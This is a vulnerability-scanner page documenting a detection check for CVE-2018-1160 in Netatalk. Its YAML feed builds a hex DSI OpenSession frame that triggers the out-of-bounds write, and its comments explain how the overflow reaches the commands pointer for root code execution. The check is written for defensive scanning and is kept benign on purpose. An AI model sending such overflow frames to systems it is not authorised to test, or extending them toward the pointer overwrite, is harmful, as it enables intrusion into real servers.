Netatalk — 1 vulnerability check
noctis ships 1 vulnerability check for Netatalk, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Netatalk < 3.1.12 DSI OpenSession out-of-bounds write
| CVE | CVE-2018-1160 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | afp, afpovertcp, appleshare |
| Detection | script, set_var, tcp_dialogue, match · highest QoD 97 |
| Feed | tests/vulnerabilities/netatalk/CVE-2018-1160.yaml |
Netatalk before 3.1.12 does not bound-check the length of the attention quantum option in a DSI OpenSession request (dsi_opensess.c). An unauthenticated attacker overwrites the fields after dsi->attn_quantum in struct DSI, including the `commands` buffer pointer, which leads to remote code execution as root. The scan overwrites only the server quantum with a random value and observes it reflected back in the OpenSession reply.
How noctis detects it
- Parses / computes the next value with a Rhai script
- TCP dialogue: one binary protocol frame
- Parses / computes the next value with a Rhai script
- TCP dialogue: one binary protocol frame
- Parses / computes the next value with a Rhai script
- Checks
xpl.reflectedfor^true$→ finding QoD 97: Netatalk DSI OpenSession out-of-bounds write (CVE-2018-1160)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2018-1160
- https://netatalk.io/security/CVE-2018-1160
- https://www.tenable.com/security/research/tra-2018-48
- https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172
Feed source — tests/vulnerabilities/netatalk/CVE-2018-1160.yaml
# Netatalk < 3.1.12 — dsi_opensess.c out-of-bounds write (CVE-2018-1160).
#
# dsi_opensession() copies the client's "attention quantum" DSI option into
# the 4-byte dsi->attn_quantum with the attacker-supplied option length
# (`memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i])`),
# so a longer option overwrites the fields that follow it in struct DSI:
# datasize, server_quantum, serverID/clientID and then the `commands`
# pointer — the primitive behind the public pre-auth RCE (Tenable, Jacob
# Baines). The reply then sends dsi->server_quantum back to the client.
#
# Proof (benign, in-band): a 12-byte attention-quantum option overwrites
# attn_quantum + datasize + server_quantum ONLY (the commands pointer and
# everything after it are left intact), with a per-scan random server
# quantum. A vulnerable afpd answers the OpenSession with that value as its
# server quantum — the out-of-bounds write is observed, nothing is executed.
# A fixed afpd (3.1.12+) rejects the over-long option and drops the session.
# The connection is closed right after; afpd serves each session in its own
# forked child, so the main daemon is untouched.
#
# Ported from OpenVAS/Greenbone NVT
# `2020/netatalk_project/gb_netatalk_CVE-2018-1160_active.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.117047, GPL-2.0-only). Improvements over the NASL:
# - per-scan random overwritten quantum instead of the fixed c01dcafe, so a
# canned/replayed reply cannot match;
# - the reply's first option must be a real "server quantum" option
# (type 0x00, length 4) at byte 16, not just any 4 bytes at offset 18;
# - a well-formed control OpenSession first proves the port speaks DSI and
# that its normal server quantum is NOT our marker, so the reflected value
# is caused by the overflow, not by a coincidence or an echoing service.
#
# DSI header (16 B): flags(1) command(1) requestID(2 BE) errorCode/offset(4)
# totalDataLength(4 BE) reserved(4). Command 4 = OpenSession, flags 0 = request,
# 1 = reply. Reply offsets in hex chars (byte × 2): flags 0..1, command 2..3,
# requestID 4..7, error 8..15, option type 32..33, option length 34..35,
# server quantum value 36..43.
#
# Marker byte order: afpd memcpy()s our 4 bytes into a host-order uint32 and
# replies with htonl(server_quantum), so a little-endian host sends them back
# reversed and a big-endian host verbatim — both are accepted (as in the NASL).
# The marker's first and last bytes are fixed to 0x4e so the value is above
# DSI_SERVQUANT_MIN (32000) in either order; otherwise afpd would substitute
# its default quantum and the reflection would be lost.
uid: 6d6bf6b2-7a6d-4ef6-bb24-c41da56efa3e
name: "Netatalk < 3.1.12 DSI OpenSession out-of-bounds write (CVE-2018-1160)"
description: |
Netatalk before 3.1.12 does not bound-check the length of the attention
quantum option in a DSI OpenSession request (dsi_opensess.c). An
unauthenticated attacker overwrites the fields after dsi->attn_quantum in
struct DSI, including the `commands` buffer pointer, which leads to remote
code execution as root. The scan overwrites only the server quantum with a
random value and observes it reflected back in the OpenSession reply.
cves: [CVE-2018-1160]
cvss: 9.8
category: rce
severity: critical
confidence_base: 0.30
tags: [netatalk, afp, appleshare, dsi, memory-corruption, out-of-bounds-write, unauthenticated, intrusive]
services: [afp, afpovertcp, appleshare]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2018-1160"
- "https://netatalk.io/security/CVE-2018-1160"
- "https://www.tenable.com/security/research/tra-2018-48"
- "https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172"
steps:
# Per-scan marker (4 bytes, first/last fixed to 0x4e) and both frames.
# control: OpenSession, attention quantum option of the legal length 4.
# exploit: OpenSession, attention quantum option of length 12 =
# attn_quantum adaaaaba + datasize 00000000 + server_quantum <marker>.
- id: build-frames
action: script
store_as: dsi
code: |
let marker = "4e" + rand_hex(2) + "4e";
let reversed = substr(marker, 6, 7) + substr(marker, 4, 5) + substr(marker, 2, 3) + substr(marker, 0, 1);
#{
marker: marker,
marker_le: reversed,
control: "000400010000000000000006000000000104" + "00000400",
exploit: "00040001000000000000000e00000000010c" + "adaaaaba" + "00000000" + marker
}
# Pre-initialise the parsed results: a later condition reading an undefined
# variable would abort the test.
- id: init-control
action: set_var
var_name: ctl
var_value:
dsi: false
quantum: ""
- id: control-opensession
action: tcp_dialogue
port: "{{port}}"
read_banner: false
timeout_secs: 10
send_hex: "{{dsi.control}}"
store_as: ctl_resp
# A genuine DSI OpenSession reply: flags 1, command 4, request ID 1,
# error 0, first option = server quantum (type 0, length 4).
- id: parse-control
action: script
condition: "ctl_resp.connected == true"
store_as: ctl
code: |
let hex = if type_of(ctl_resp.response_hex) == "string" { tolower(ctl_resp.response_hex) } else { "" };
let ok = strlen(hex) >= 44
&& substr(hex, 0, 7) == "01040001"
&& substr(hex, 8, 15) == "00000000"
&& substr(hex, 32, 35) == "0004";
#{ dsi: ok, quantum: if ok { substr(hex, 36, 43) } else { "" } }
- id: exploit-opensession
action: tcp_dialogue
condition: "ctl.dsi == true"
port: "{{port}}"
read_banner: false
timeout_secs: 10
send_hex: "{{dsi.exploit}}"
store_as: xpl_resp
- id: parse-exploit
action: script
condition: "ctl.dsi == true && xpl_resp.connected == true"
store_as: xpl
code: |
let hex = if type_of(xpl_resp.response_hex) == "string" { tolower(xpl_resp.response_hex) } else { "" };
let ok = strlen(hex) >= 44
&& substr(hex, 0, 7) == "01040001"
&& substr(hex, 8, 15) == "00000000"
&& substr(hex, 32, 35) == "0004";
let q = if ok { substr(hex, 36, 43) } else { "" };
let reflected = ok
&& (q == dsi.marker || q == dsi.marker_le)
&& ctl.quantum != dsi.marker && ctl.quantum != dsi.marker_le;
#{ reflected: reflected, quantum: q }
- id: check-reflection
action: match
condition: "ctl.dsi == true && xpl_resp.connected == true"
source: xpl.reflected
pattern: "^true$"
on_match:
finding:
title: "Netatalk DSI OpenSession out-of-bounds write (CVE-2018-1160)"
description: "The AFP server copied an over-long DSI attention quantum option past dsi->attn_quantum: the random server quantum written by the overflow was sent back in the OpenSession reply. The same primitive overwrites the DSI commands pointer and gives unauthenticated remote code execution as root."
remediation: "Upgrade Netatalk to 3.1.12 or later (or the distribution's patched package). Until then, block TCP 548 (AFP over TCP) from untrusted networks."
confidence_delta: 0.65
qod: 97
evidence: "DSI OpenSession: normal server quantum 0x{{ctl.quantum}}; after a 12-byte attention quantum option overwriting server_quantum with 0x{{dsi.marker}}, the server replied with server quantum 0x{{xpl.quantum}}"